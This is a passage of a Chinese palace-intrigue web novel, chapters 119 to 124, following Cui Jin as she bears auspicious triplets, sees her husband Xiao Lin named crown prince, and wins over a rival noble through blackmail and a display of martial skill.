她微微上前一步,走来萧临面前,含羞带怯地抬头,在将成安送去萧临面前时,自己也几乎贴在萧临身上。 双十年华正是盛时,身上又多了股成熟风韵,眼波流转间,竟是风情万种。 第一百一十九章 花枝招展给谁看? 看到这一幕,张嬷嬷脸上的笑容收敛了些。 屈氏?真是好胆量。 其余奶娘和丫鬟们面色不一,头却都低了下去。 萧临满心都挂在胖儿子身上,别说媚眼,就连屈氏整个人都直接忽视了。 屈氏眼底闪过不甘,准备再往前凑一些。 “呜哇——” 没有预兆的,成安瞬间大哭了起来,萧临眼神微慌,立刻怒斥:“你怎么抱小公子的?无缘无故他怎会哭起来,若干不好这份差事,趁早滚回宫里去!” 屈氏咬了咬下唇,连忙娇声开口:“二公子平日就喜欢干嚎,似在练嗓子一般,多轻拍几下背就好了,王爷别担心。” 一边说着,她一边轻拍着成安的背。 果然,没几下成安就止住了哭声,再一看那张白嫩的小脸,连滴眼泪都没有,跟成精了似的。 萧临不由笑了,轻点了点他的鼻子:“当真是个小魔星,日后还不知要如何折腾本王。” 话是如此说,他脸上却只有满足而愉悦的笑容。 平安和长安身子都不好,便更显得这个健康的孩子难能可贵。 就连永隆帝听说早产的这个生下来就与寻常婴儿一般大小,还异常强壮健康,都十分称奇,当众赞崔锦有福气。 哄了哄儿子,萧临这才正眼看了屈氏一眼:“好生照顾二公子,少不了你的赏。” 屈氏眼波流转,娇柔应是,屈膝时身姿盈盈,又风韵动人。 但萧临已经转去看平安和长安了。 媚眼抛给了瞎子看。 屈氏咬了咬唇,看着萧临的背影,垂下的眸中满是不甘与野心。 信王妃独宠又如何,只要给她机会,只要能勾得信王上床,她自信必能迷得信王神魂颠倒。 她紧了紧手,快速在心中盘算起下一步。 信王的前程绝不止眼下区区亲王之位,若等被立为太子甚至登基后,前仆后继的美人无数不说,她也已人老珠黄,所以一定要趁着在王府时就留下情分。 如此,日后才有望走得更高。 她嫁过人生过孩子又如何? 高祖时的丽妃不就是二嫁之身?一样盛宠风光,满朝无人敢诟病一句! 只要夺得信王的宠爱,她就赢了! 眼见着萧临离开,张嬷嬷眼神顷刻间冷了下来,她上前抱过成安:“王妃醒了要瞧瞧小主子们,你们都抱进去吧。” 平安和长安的奶娘立刻低眉顺眼地跟上。 屈氏被留在偏房,没人敢再与她说话谈笑了。 在信王妃眼皮子底下勾搭信王?真当那位是活菩萨不成? 活菩萨可斗不倒接连三位侧妃,稳坐王妃之位,还平安生下三个孩子。 屈氏也无所谓她们的态度,自己是淑贵妃赐下的人,只要不犯错,信王妃也奈何她不得,等她勾上信王,做了主子,这群奴婢想攀她关系都没门路! 崔锦还住在产房里,见孩子们进来,立刻笑意盈盈,抱着这个逗那个。 张嬷嬷与如秋对视一眼,先后出门。 “那个屈氏留不得了。” 张嬷嬷只说了一句话,如秋立刻意会:“这点小事便不劳王妃担忧了,我会处理好。” 张嬷嬷点了点头,她也是这个意思。 王妃不见得在意王爷,但一定在意小主子们,若叫她知道二公子的奶娘是这么个东西,难受不至于,但必要动些气,何必伤身呢? 不过半日功夫,屈氏便以照顾成安不善为由被送回了宫里。 ——成安的大嗓门贡献度不小,也是巧了,午后他不知怎得,忽然就哭嚎了起来,怎么哄都哄不好,连带着叫剩下两个也跟着哭了起来。 但那点声音在他的大嗓门下活像是被压迫的小可怜。 太医看了又看,无比确定他没病没痛——那两个哭得眼泪直掉,成安脸上却只有干巴巴一片,连眼睛都没湿。 见状,如秋索性也不再设计别的机会,直接以此为由就将屈氏送回了宫。 临走前,屈氏眼底满是不可置信。 信王妃不怕得罪淑贵妃吗?! …… 钟粹宫里,淑贵妃的确很惊讶,但问的却是孩子:“成安可还好?太医怎么说?” 邱华忙安慰她:“二公子没事,太医说大约是……练嗓子吧。” 淑贵妃一愣,随即便笑了:“这孩子,倒真是活泼得紧,也好,强壮皮实些才好养。”说完,她才皱起眉,“那个屈氏也是个不中用的,原是看她生养过三个都立住了才派她去照顾孩子们,未想竟是个笨手笨脚的!” 伤着了成安,屈氏全家的命都不够抵! 邱华眸光微动,低声道:“奴婢听说了一耳朵,那屈氏……似乎有些不安分,怕是因此才被信王妃送回宫来的。” “不安分?” 淑贵妃眉头依旧未松:“她勾引老四了?” 不等邱华回话,她便骂了一声:“狐媚东西!本宫就不该挑她去王府!心思都放在男人身上,还能照顾好本宫的孙子孙女?老四也是个不安分的,花枝招展给谁看?显着他了!” 邱华张了张嘴,还是什么都没说。 贵妃这两日被九皇子气的脾气有些暴躁,得顺毛摸。 淑贵妃骂了好半会儿才停,吩咐:“把那个屈氏扔去浣衣局!想不清楚自己的本分所在,那就不用想了!” 若换做从前求孙心切的她,或许还会刻意再给信王府放些好生养的,但已经知道了萧临不能生,现在又有了三胎祥瑞孙子,谁还搭理那个不下蛋的儿子? 哪凉快哪待着去吧! 现在崔锦在她心中的地位都比萧临高,起码有祥瑞孙子她是真给啊。 邱华后头又专门挑个年纪大些,又十分安分的奶娘,亲自送去了信王府,也代替淑贵妃瞧了瞧三个孩子。 崔锦一点也没问原来的屈氏犯了什么事,只静心养孩子坐月子。 终于,到了孩子满月之时。 第一百二十章 满月宴 这日信王府的下人们天不亮就起来干活,管家更是忙里忙外,连树下的落叶都叫人扫了又扫。 如今已是十一月,天冷了些,因此满月宴便设在花园一处暖阁内。 天色刚蒙蒙亮时,崔母便带着崔瞻几人上门了。 崔父尸骨未寒,按说他们本不该出门参宴,但崔锦这三个孩子的分量实在太重,皇家自不需顾忌臣下的孝期,所以崔母便早些带他们上门,看过崔锦和孩子们后就低调离开。 正院,崔锦刚沐浴完,浑身都觉轻松了不少。 月子里太难熬,别说沐浴,连头发都不能洗,只能浅浅擦拭,叫她几乎快忍疯了。 “王妃的身量丰腴了些。”如春笑盈盈给她更衣,说道,“从前您瞧着容颜绝色,但总觉离人远得很,如今倒更像是染上了烟火气,成了人间的仙女。” “你也跟着如冬油嘴滑舌起来。”崔锦嗔她一眼。 “冤枉!奴婢可从不说虚话。” 屋里大家顿时笑了起来,如秋为崔锦系上腰带,道:“不过如今王妃的确比先前更有韵味了些呢。” 怀胎不易,有些妇人补多了便会克制不住的发胖,为了孩子也只能暂时忍着体态变化,但崔锦或许是因为怀了三个的缘故,吃过的补膳都补去了孩子身上,甚至隐隐不够,连带着自身的元气都被吸走不少,致使她在孕期时都身形偏瘦,只有肚子高高耸起。 如今生产后,体态变化不大,只是稍微丰腴了些,衬着在月子里养得容光焕发的美貌,倒多了股别样韵味。 崔锦轻笑了笑:“话虽如此,但瘦身丸还是得吃。” 她不会赌萧临的真心。 必须叫自己时刻都是最完美的状态,不露狼狈与丑态。 等坐个双月子,便又能瘦回从前了。 “王妃,老夫人和侯爷他们来了。”如冬进门禀报。 随着崔瞻当家,崔母便涨了辈分,成了老夫人。 “快请。” 崔母几人很快便进来了,后院本不该崔瞻这个十四岁的少年踏足,但也不过是萧临一句话的事。 “二姐姐!”崔钤最先跑来,兴冲冲拉着她的手,“小外甥和小外甥女呢?我要看!” 崔瞻提着她后衣领将她拽回来,声音暗含警告:“规矩都被你吃了么?” 崔钤撇撇嘴,屈膝行礼。 崔锦笑着拉住她,声音揶揄:“瞻儿做了侯爷,派头愈发大,竟连二姐都不认了。” 崔瞻耳根微热:“二姐说笑了,只是王府重地,礼不可废。” 就算萧临体贴地没出现,他也还是紧绷着脑中的弦,生怕给崔锦添了麻烦。 崔锦摸了摸他的头,轻声问:“以后崔家就要靠你撑起来了,怕不怕?” “不怕。”崔瞻声音微低,却含着坚定,“我会保护好母亲和弟弟妹妹,也会竭尽全力帮二姐的。” 他不是庸才,纵然眼下受限于年纪,不得入朝,心中却自有一番计较。 崔锦眼眸更柔,轻拍了拍他,语气调侃:“好了,去看看小外甥和小外甥女吧,你做舅舅的,以后可有担子了。” 崔瞻眼睛微亮,对孩子们好奇和喜欢的不止崔钤崔瞩,他也是,只是碍于年纪偏长,不好表现出来罢了。 他抬手扶着崔锦一起去了偏房。 崔钤和崔瞩已经趴在摇篮边看孩子们了,眼神几乎放光。 “小外甥女好小啊。”崔钤低低开口,“一定要多吃点,快快长大。” “这个大!”崔瞩指着成安,一脸兴奋,“这体格子一看就是个练武的好材料!以后我教他练武!” 崔母抱着平安,含笑看着他们。 崔瞻走去她身边,探头看了看平安,一个月大的孩子已经彻底不复刚出生时的红彤彤皱巴巴,反而白嫩漂亮得很,眉眼间满是崔锦的影子。 崔瞻眼神柔和了许多,轻轻摸了摸平安的小手:“长得的确很像二姐,以后不知要迷倒多少姑娘家。” 他将三个小巧的长命锁分别放在了三个孩子的摇篮里。 这长命锁通体泛金,还镶嵌着华丽的宝石,但样式却颇为普通,像是学童做的一样。 崔母看了一眼,含笑道:“瞻儿有心了。” 崔瞻耳根微红。 “好了。” 见崔钤和崔瞩闹个不停,崔母出声道:“他们该睡了,小心别吵着孩子们。” 两人立刻噤声。 崔母看向崔锦:“今日事忙,我们便先回了。” 崔锦微微点头,又叮嘱了弟弟妹妹们几句,才将他们送去门外。 萧临正从前院过来,沿路遇到他们,停下略聊了几句。 末了,他看向崔瞻:“你虽要守孝,也不可疏忽了功课,学问上若有不懂之处,尽管去请教太傅。” 崔瞻拱手开口:“学生明白,多谢王爷指教。” 萧临点点头,看向两个小的,眼神一时柔和了不少,初为人父,他现在看到谁家孩子都要停驻一二,然后幻想自家三个长大后该是如何可爱模样。 又塞了几张银票后,他才匆匆往正院走去。 崔钤和崔瞩手握巨款,心里兴奋起来。 …… 正院,萧临进门看到崔锦,眼前一亮。 她今日穿的格外华丽,一袭红色流沙曳地长裙坠下,腰间还镶嵌着珍珠宝石,头上戴着缠丝珍珠头面,与一头墨发十分相衬,耳下缀着的东珠耳坠轻轻晃动间,使得她如画般的眉眼都灵动起来。 庄重而不失灵动,温婉而不失昳丽。 极美。 “锦儿今日极美。”萧临语气中不掩赞叹与欣赏,下意识上前将她抱在了怀里,喉间发出一声满足的喟叹。 崔锦抬起眸,眉眼弯弯:“女为悦己者容,王爷喜欢,便不枉费我花这一番心思装扮了。” 不是为了今日的满月宴而隆重打扮,只是为了他。 甭管崔锦说的真不真心,萧临听得十分欣喜,抱了她好一会儿才依依不舍地放开,携手往暖阁走去。 今日王府堪称门庭若市,满京权贵来了一大半。 崔锦含笑应对,言行得体,不见半分生下祥瑞三胎的张扬,反而颇为谦逊,提起孩子时只有满目慈母之色。 “恭喜四弟妹。”晋王妃脸色极差,用脂粉都没能藏得住眼下的青色,但笑容却十分得体。 崔锦含笑道:“我才做母亲,恐有许多不解之处,若有机会,还要向三皇嫂讨教一二。” “四弟妹尽管来寻我便是。” 两人面和心不和地聊了几句,便听一道尖利的嗓音传来—— “圣旨到——” 第一百二十一章 立为皇太子,正位东宫 圣旨降府,众人都不算意外。 永隆帝对这祥瑞三胎的重视度有眼睛的都看得到,若没等来圣旨才奇怪。 崔锦跟随萧临一起上前接旨。 “奉天承运皇帝,诏曰:朕膺昊天之眷命,承列祖之鸿图,夙夜兢兢,惟念国本之重,宗祧之延。今信王府喜诞三麟,祥云绕户,瑞气盈庭,着长子赐名瑾瑜,次子赐名瑾珩,幼女赐名瑾姝,即刻册入玉牒,望其才德彰明,如玉生辉,福泽绵长,光耀天家,钦此——” 萧临面露诧异,随即跪地接旨:“儿臣接旨,谢父皇赐名!” 众人皆跪在后方,面色复杂又隐含羡慕嫉妒。 皇孙辈从“瑾”字,那两个大的也就罢了,竟连小女儿都从了皇孙辈的名字,这该是何等殊荣。 可转念一想,出生即祥瑞,又有彩云异象的小郡主,被格外厚爱也是正常的。 萧临接旨后就准备起身,却被御前总管笑容满面地轻按住手:“信王殿下,急什么,还有一旨未宣呢。” 萧临微愣。 众人也面露不解,难道还有赏赐? 侧方,崔锦眸光微动,倏而亮了一瞬。 御前总管又拿出一道圣旨,神色顷刻间肃穆起来,展开圣旨,高声开口:“奉天承运皇帝,诏曰:朕惟自古帝王绍登大宝,必建储贰以固国本,以安宗庙社稷,兹者,皇天眷命,先祖庇佑,朕荷天命,统御寰宇,夙夜兢兢,未尝不以储位为念。 皇四子临,日表英奇,天资粹美,器质冲远,风猷昭茂,载稽典礼,俯顺舆情,谨告天地、宗庙、社稷。授以册宝,立为皇太子,正位东宫,以重万年之统,以系四海之心。 布告中外,咸使闻知。 钦此——” 随着御前总管尖利而高昂的声音落下,在场一片寂静,落针可闻。 就连萧临自己都愣在原地。 他猜到自己的赢面很大了,只需保持住现有的状态,入主东宫是迟早的事,却没想到这一日会来得这样早,还……在他的孩儿满月这日。 御前总管笑眯眯的,态度恭敬地扶起他:“太子殿下快请起。” 萧临回过神,笑容不变。 御前总管与他寒暄了几句,又去正院看过了三个孩子才离开。 而暖阁内在震惊过后,便是如潮水般的恭维道喜声了,今日来的不止有萧临一党的人,可纵使是晋王党,此刻也不得不捏着鼻子,强颜欢笑地道喜。 永隆帝竟这么快就立储了! 一旦风向明确,萧临就是正统,晋王的处境会愈发艰难……他们此刻的光景,实在不容乐观了。 而比起他们,萧临党就单纯是惊喜了,脸上笑得皱纹都深了几分。 “小公子和小郡主当真是祥瑞,祥瑞啊!”左都御史笑得满脸褶子,与身边的同僚低声说着。 同僚亦深以为然。 永隆帝能在这日立储,除了查出晋王在宝华寺时向信王府传消息,导致信王妃早产,未尝就没有这祥瑞三胎的缘故——甚至可能后者更多。 帝王富有四海,已经没什么能叫他动容动心,唯一追求的也就是长生不老和青史留名了,祥瑞三胎的出现则正昭示着他为帝功绩,也更稳天下民心。 本就对萧临满意的他自然不吝于在今日双喜临门。 萧临的惊喜与喜悦自不必说,在与朝臣们应和几句后,便见卫期向他走来。 “微臣恭喜太子殿下。”他面色复杂,却头一次对萧临态度温和,“微臣亲手做了满月礼,有些简陋,望殿下莫怪。” “如卫大人这等惊才绝艳之人,若本宫的孩子们能沾些你的才气,倒是极好了。”萧临虽诧异,但还是面带笑容地与他交谈。 卫期当得不世天才的赞誉,为官更是清廉公正,此等人才,他眼馋很久了。 从前因为林昭,卫期对他总淡淡的,敬而远之,今日却是主动上前攀谈,言辞间竟对三个孩子颇为推崇…… 卫期的弱点早就离世了,但今日倒是意外露出了一点——他颇信天命。 主动向他示好,除去立储之故外,更多的似乎是因为他被上苍眷顾的祥瑞三胎。 萧临眼眸微动,越发笃定是孩子们带给他的好运。 两人交谈这一幕也落入了旁人眼中。 “这太子妃……当真是命里带旺啊。”御史中丞与同僚低低说着,“打从她进门,林侧妃的假面被揭露,再也没法连累太子,此后便是晋王……”一路势弱。 就连崔父救驾而亡,也在永隆帝面前为太子刷足了好感度。 而他最困扰且饱受诟病的后嗣问题,被太子妃连生三胎化解,更在满月之日被立为储君。 这运道实在是旺。 御史中丞的声音极低,但还是落入了不远处崔锦的耳中,叫她笑意更明。 她没想到今日会有如此惊喜,但这不正说明了她的孩儿当真是祥瑞么? 她言笑晏晏地与命妇们聊了起来。 今日虽是满月宴,但如今天越发冷了,孩子们又太小,没法将他们抱出来,得以进去见他们的只有宗室和重臣府邸的几位命妇。 晋王妃也在其列,她送了三个精致的金镶玉项圈,声音温和:“好孩子必然长命百岁。” 崔锦眸光缓了些。 这也是她最希望的事。 出了正院,命妇们相携离开,晋王妃落后一步,半晌后才道:“四弟妹,我不知你信不信,但将你父亲救驾身亡的消息传出宝华寺的,的确不是我们王爷。” 崔锦微顿一瞬。 晋王妃沉默片刻后,轻声说道:“我与王爷的确眼红你的祥瑞双胎,但崔尚书救驾身亡,王爷对他心存感激,不会以此来刺激他的女儿。” 眼红双胎当然是眼红的,但还不至于干这种脏事儿。 崔锦看向她,微微点头:“我明白了。” 没说信,也没说不信。 晋王妃欲言又止,还是没再开口。 满月宴结束后,崔锦便与萧临说了此事。 “不是晋王干的?”萧临皱起眉,“可禁卫军盘查过宝华寺上下,的确查到是晋王手下的人利用僧人将消息传出去的。” 崔锦面露思索:“晋王妃的话不能全信,但也不能轻忽,殿下若得空,还是再深查一下吧。” 晋王已经因此事被永隆帝重罚,更间接叫永隆帝失望,因此促成了今日的立储之事,他若现在喊冤,晚了不说,也没用。 所以崔锦更偏向晋王妃说的是真话。 萧临点点头,忽地紧紧抱住崔锦,微哑的声音含着喜悦:“锦儿,多谢你……自你嫁入王府,本王便没有一处不顺,如今连你为本王生的孩儿都成了福星……” 崔锦倚在他怀里,声音含着揶揄:“王爷的牵挂就是我的牵挂,或许是心诚则灵?连上苍都感动于我的痴情了。” 她这是玩笑话,却被萧临听入了心。 若不是感动了上苍,又怎会给他这等祥瑞和惊喜呢? 第一百二十二章 梁溶月已经废了 满月宴后,信王府成了太子府。 他们本该迁去东宫,但眼下快要过冬了,三个早产的孩子也实在太小,得好生将养着,萧临便回了永隆帝,等明年夏日再迁宫。 已经有了太子的名头,住在哪里反而是次要了。 正院里,如春几人欢喜地连声叫着崔锦太子妃。 崔锦被逗笑了:“你们瞧着倒比我还高兴。” “奴婢们当然为太子妃高兴!”如冬笑嘻嘻道,“您可算守得云开了,以后……”她止了声音,脸上却满是笑容。 太子妃,与国母也就是一步之遥了。 成了国母,太后还会远吗? “只是站得越高,要经历和忍受的便也更高。”如秋提醒道,“前朝有太子殿下在,倒不要紧,只是后院……依东宫的规制,太子可有四位侧妃,其下只怕更要添不少人了。” 太子后院的位份比之亲王更多——一位太子妃,四位侧妃,八位良娣,十六位承徽,下头的奉仪位份人数不限,再往下便是没有名分的普通宫女,就像王府的安氏三人一样,地位最低,人数不限。 以他们现在后院的姬妾数量来说,恐怕这回要进不少人了。 “无妨,迟早的事。”崔锦看得很开。 如秋便也不再说此事,接着道:“三位小主子身边的人奴婢已经在教了,都是家生子,忠心可靠,等下个月就能放去小主子们身边。” 崔锦眉眼柔和了些,细细问过后才放心。 翌日,她低调地回了忠勇侯府。 崔母看到她有些惊讶,忙迎上来:“怎么这时候回来了?你若有事,只管叫人来寻我便是了,出来吹风做什么?” 崔锦笑了笑:“总该回来给父亲上柱香。” 她也是这么对萧临说的,可给他心疼坏了。 但崔母何其了解她,心下明白过来,也不再多问,陪她聊了聊后就见她去了前院。 一处僻静萧条的院落外,崔瞻正站在那里。 “二姐。” 看到崔锦,他上前低声道:“人已经到了。” 崔锦点点头,轻抬起手。 崔瞻立刻扶着她,缓步进了院内。 一个蓝衣身影正站在院内,负手而立。 看到崔锦,他面露诧异,随即眼神不善地拱手:“微臣给太子妃请安。” “淮阴伯不必多礼。”崔锦面容含笑。 梁祯直起身,神色傲气地转向崔瞻:“忠勇侯请我来此究竟意欲何为?挂满白的孝府,我可不沾这晦气!” 崔瞻眼神瞬间变得凌厉。 崔锦却笑了:“你父亲不也才死么?若比谁晦气更重,也该是天牢和菜市口的更重。” 梁祯脸色难看下来。 “说来,你该多谢我才是。”崔锦缓缓开口,“若非我在太子殿下面前求情,你早就与你父亲一起下狱了。” “太子妃如此好心?” “对待盟友,本宫一向包容。” 梁祯像是听到什么笑话:“盟友?怕不是死敌!太子妃平安生产,微臣心中不知有多遗憾。” 荒院里没人,他说话便也没了顾忌,句句刺人。 崔锦笑容不变,但也懒得与他绕圈子,抬手拿出两封信扔给他。 梁祯将信将疑地接过,在看清内容时脸色倏然一变:“我的账本和书信是你偷的?”话落,他面露惊疑,“不可能!你不过深宅妇人,便是崔尚书在世都别想进我府门,更遑论在我重重守卫下偷出账本?!” “淮阴伯今日肯应下我弟弟的邀约,不就是想知道究竟谁拿了你的账本么?”崔锦轻道,“这样的东西,我手里还有很多……现在,我们能谈谈了么?” 梁祯脸色难看至极,闭口不言。 崔锦也不在意,慢悠悠坐去石桌边:“梁溶月已经废了,也不妨告诉你,东宫侧妃名单之中,没有她的名字,太子与淑贵妃已经厌极了她。” 梁祯眼神微沉。 “梁溶月日日被我鞭打取乐,你应当知晓吧?”崔锦笑意盈盈,“这是她胆敢算计我的代价,而你……你父亲下狱砍头,淮阴伯府风雨飘摇,这也是我的报复,但报过了仇,便该谈合作了。” 她定定注视着梁祯,毫不掩饰地威胁:“账本在我手里,你若听话,它便永远都会压箱底,你若不肯归降于我,它便会出现在御案上。” 梁祯紧握双拳,良久后,忽地阴沉沉道:“我还有另一条路。” 崔锦眉梢微挑。 下一瞬,梁祯猛地抬手向她攻来,掌风凌厉,速度极快。 只要杀了崔锦,灭掉她的心腹,他自有办法找到账本! 崔锦不动如山,在梁祯的掌风即将落下的瞬间,她以一种不可思议的角度飞速抬手,反截住梁祯的攻击,随即化为自己的力道,加倍轰向梁祯。 “砰——” 梁祯被一股远胜自己的内力打得砸去墙上,震得吐出一大口血,喉间满是呛咳。 缓了好半晌后,他不可置信地抬头。 崔锦依旧眉眼温和,笑意盈盈:“现在能谈了么?” 梁祯眼中浮起浓重的警惕,脑中的弦几乎绷紧到了极致。 崔锦竟有如此深不可测的内功,还从未示于人前…… 他一时竟有些怀疑起了自己——他与梁溶月合谋算计崔锦好几回,却从未成功过,反而损失惨重,这真的是巧合吗? 甚至先前他用苍鹰吓崔锦,那时心中得意,可现在想来……崔锦恐怕在心里笑他蠢笨吧。 梁祯脸上忽青忽白,有些难堪。 崔锦深深看了他一眼:“淮阴伯府已经后继无力,你也被圣上厌恶,除了本宫,没人会帮你……当然,若有人敢帮,本宫便只能忍痛放弃你了,毕竟钱袋子多的是,忠心却听话的狗却少。” 梁祯拳头紧握,脸上浮起难堪和挣扎之色。 “还放不下梁溶月吗?”崔锦含笑开口,“能未卜先知的能力,可不止她一人有。” 梁祯瞳孔微缩,猛地抬头看她,满是震惊。 第一百二十三章 收服梁祯 “你说什么,我听不懂!” 梁祯语气不可抑制地有些慌乱。 崔锦笑容不变:“你为何会知道大皇子的喜好习惯,如何去翰林院救的掌院,又是如何知晓李侍郎的把柄,甚至于,如何精准地算计了谢长清……还需要我一一道来吗?” 她每说一句,梁祯脸色就白一分,心中涌起惊涛骇浪,即使勉力压制都没能掩去眼底的震惊之色。 崔锦为何会知道这般隐秘的事? 梁溶月就算落在她手上,也绝不会将这种要命事透露出来。 难道…… “就是你想的那样。”崔锦定定注视着他,“而且,我比梁溶月知道的更多……否则,你淮阴伯府又怎会落得这般下场?” 梁祯双手攥起,脑中瞬间回想起近来的事,眼中惊慌之色愈甚。 “梁溶月已经没了价值,你这种聪明人,该知道如何选择对自己最有利。”崔锦声音含笑,“本宫地位稳固,有太子偏爱,膝下更有祥瑞三胎……也是太子仅有的子嗣,能力手段也并不输于梁溶月,甚至远胜于她。” “本宫能给你的,远比梁溶月更多,梁祯,难道你就当真甘心止步伯爵,一事无成?” 梁祯眼底浮起挣扎之色,心中天人交战,也快速衡量起来。 崔锦无论是身手还是心机都深不可测,而她所具备的优势更远胜于梁溶月,就连后者唯一的底牌,都被崔锦撬了个干净,人也至今还被关在春熙院出不来,就算能出来……她身上的鞭伤也不知会不会留疤,得宠机会渺茫。 他不能再存有侥幸心理了。 淮阴伯府元气大伤,没落的极快,他必须另谋出路。 何况也没得选了——他若不归降崔锦,那些账本与书信顷刻间就能置他于死地,叫伯府满门覆灭。 他闭了闭眼,强撑着重伤的身体站起,拱手大拜:“良禽择木而栖。” 崔锦笑容更深:“瞻儿,快扶淮阴伯落座。” 崔瞻踱步上前,客气地扶着重伤的梁祯坐在石凳上,并拿出了一颗药丸给他。 “止血治内伤的。”他解释。 打从知道崔锦要单独见梁祯开始,他就备好了药丸。 毕竟以前家里堂兄弟们都是这样过来的,唯一的区别也只在于那时崔锦蒙面,没有透露身份罢了。 崔瞻是从小递药递到大的。 梁祯拿起就塞进了嘴里,没有丝毫犹豫。 崔锦费了这么大劲收服他,不会立刻就毒死他,而若想用药控制他也大可不必——那账本已经是他的致命把柄了。 他轻咳一声,压住胸口的闷痛,开口:“多谢太子妃赐药。” 崔锦微微颔首,直接道:“宝华寺传消息一事并非晋王主使,你去查查幕后之人究竟是谁。” 不是晋王? 梁祯面露一瞬诧异,随即点头:“是。” 话落,他主动道:“梁溶月知晓晋王的把柄,太子妃可再撬撬她的嘴,属下也会吩咐商会私底下搜集晋王党的把柄。” “不必。”崔锦声音含笑,“他的致命把柄,本宫知道。” 梁祯心中惊疑:“那为何不……” “晋王败倒,留我们一家独大?” 梁祯反应过来,脸色微变。 若真到如此地步,恐怕不是萧临被忌惮猜忌死,就是他们弑君上位了——但能否成功都要另说。 留着晋王,永隆帝的目光才不会一直落在东宫身上。 崔锦缓缓起身,吩咐:“不必做多余的事,先养精蓄锐,暗中查探朝中重臣的把柄即可……禁卫军的两位统领,以及直隶总督,多留意着些。” 梁祯的势力明面上不能摆出来,暗中搜寻把柄倒很便利。 梁祯点头应是。 临走前,崔锦轻声开口:“今年十二月异常冷,风雪交加,城西的房屋建的并不严实,也不知会不会被大雪压塌……百姓若因此遭难,本宫心中实在难安。” 梁祯眼神微动,立刻拱手:“属下在城西有一处宅子正需修缮,倒可雇佣百姓去帮忙,若能避过风雪便是极好了。” 崔锦含笑点头,被崔瞻扶着离开。 穷则独善其身,达则兼济天下。 以前她如履薄冰,自身难保,无法兼顾太多,现在她地位终于稳固,还更进一步,也愿意去帮扶百姓一把,权当是为孩子们积福了。 再者,若风雪塌陷却无一百姓遭难……这怎么不算是祥瑞带来的福气呢? 后方,梁祯也眸光微动,眼底喜色不掩。 他只在乎一件事——若风雪塌房一事为真,只要他救了百姓,就能翻身了! 心中焦急,他立刻便想离开去办此事,可重伤的身子却没能缓过来,疼得他踉跄几步,脸色发白。 但这回梁祯心里没了愤怒的情绪,反而笑了一下。 以前崔锦是敌人,那般心计与手段叫他忌惮,方才得知她还是个高手,他更恨不能除之后快,可现在崔锦成了自己人……这感觉可真痛快! 院外,走了一段路后,四周无人,崔瞻才欲言又止:“二姐,你怎知这么多事?” 比起未卜先知,倒更像是经历过。 崔锦摸了摸他的头,声音温柔:“你只需要知道,二姐永远都是二姐便好。” 崔瞻眸光不解,含着探究,但还是乖乖点了头。 “说来,该恭喜二姐又添一员大将。”他眉间泛起浅浅笑意。 崔锦也展颜一笑:“梁祯是个赚钱的好料子,更颇有能力,能收服他,的确是我赚了。” 卫期和大理寺、林家、梁祯以及他背后的淮阴伯府,若再加上谢氏的助力,现在的她已经能与势弱的晋王打擂台而不落下风了。 等将来萧临登基,这股势力将是他们母子最坚实有力的底牌和保障。 她要为自己的孩子铺就一条康庄大道。 …… 在侯府待了大半日,又去看了看老夫人后,她便离开了。 萧临正在正院等她。 见她回来,他立刻迎上前,仔细打量着她的脸色:“今日如何?没哭吧?” 崔锦扯了扯唇,强颜欢笑。 正常人在这种时候都是转移话题,直接揭过这一茬,但像萧临这种没眼色的,真是生怕你想不起来这些伤心事,非要看人强颜欢笑才罢休。 第一百二十四章 两位侧妃 萧临见她眼睛微红,心疼坏了,揽着她强行灌输了一堆诸如“岳父没死,只是无法再与你说话谈笑”“他一定在天上看着你”“或许路边吹过的微风就是岳父在照拂你”这种在他看来十分暖人心的话。 崔锦垂下眸才忍住想翻的白眼。 这种破嘴真该堵上。 “我没事。”她握住萧临的手,强笑了一下,轻吻上他唇角,轻喃,“殿下别为我担心,我心疼……” 萧临一下就被勾得神志不清。 产前一个月再加月子一个月,他已经有两个多月没与崔锦亲近过了,整个人忍得几乎要发疯,只被亲了一下就顿时缴械投降。 他抬手按住崔锦的后颈,低头快速覆了上去,狠狠辗转研磨。 崔锦险些招架不住,直到快呼吸不过来了才被放开,下一瞬耳边与颈侧又传来一阵痒意,温热的呼吸扑在肌肤上,叫她也有些动情了。 但不行。 “曲神医说……最好做双月子。”她推了推萧临的脸,好半晌才推开。 萧临却瞬间将她抱得更紧:“只亲亲你,不做什么……” 崔锦还没来得及说话就又被堵上。 冬日里的阳光似都泛着冰寒,照得整个正院没有丝毫热意,可房中却暖意融融,竟生一室春色。 一个时辰后,崔锦才回过神来,拉了拉肩上滑落的衣襟。 是没做什么,但…… 饶是她自诩情绪淡然,耳根都泛起热意。 “怎么了?手疼?”萧临自后揽上她的腰,声音低沉微哑。 崔锦轻拍他一下,手却反被握住,轻轻按揉起来。 两人低声细语了好半晌,崔锦才问:“白日里事忙,你怎来正院了?” 萧临微顿。 主要是担心崔锦回了崔家,看到父亲的牌位又伤心,他便忍不住推了公务,过来看看。 但的确还有一桩小事。 “侧妃?” 崔锦早有心理准备,倒不显诧异:“全凭母妃做主就是。” 萧临看着她,心中忽然有些不是滋味起来:“你便一点都不吃味?” 崔锦眉梢微挑:“殿下后院那么多人,我若个个吃味,怕不是要被醋淹死了。” 萧临刚理直气壮的质问瞬间变得不自在,眼里还闪过一抹他自己都没察觉到的心虚。 “无论后院进多少人,你都是本宫心中最重要的存在,无人能与你相较。”他说得认真。 后院进人是为前朝局势考量,但若要衡量轻重,整个后院的女人加起来都比不过一个崔锦之重。 崔锦笑了:“那不就是了?我有什么可难受呢?” 她轻轻靠进萧临怀里,声音低柔:“殿下心中只喜欢我,我自然不必去在意……前朝后院分割不开,我理解殿下,也愿意为了你妥协。” 萧临又感动了。 数遍他二十多年人生,能如此待他,将他放在心中第一位的,也只有一个崔锦。 就连孩子们都比不过他在崔锦心中的分量。 如此情意,他此生必不负她。 崔锦闲暇时总有意无意暗示萧临他喜欢她,说的多了,就连萧临自己都如此认为。 甚至从有这个念头起,他胸腔中就总涌动着一股莫名的情绪,像是恨不得将最好的捧给崔锦,好博她一笑一样。 他们本就该是恩爱情深的夫妻,万金不换,余生共守。 崔锦又被拉着激动地亲了好半晌,被迫收了不少虚无缥缈的承诺和实实在在的珍宝好处后,才推开他。 “侧妃人选,不知母妃可有定夺?”她问起正事。 萧临抱着她,轻声道:“一个是北境总督之女,陆知意,一个是冯家表妹,冯书仪。” 北境毗邻漠北,总督与守将各掌兵权二十万,妥妥的封疆大吏,重中之重的实权。 冯家是萧临的外家,舅父时任云岭郡宣抚使,正三品,他的女儿本当不得太子侧妃之位,但外戚身份倒补足了这一点。 淑贵妃这是看萧临起来了,开始拉拔娘家了。 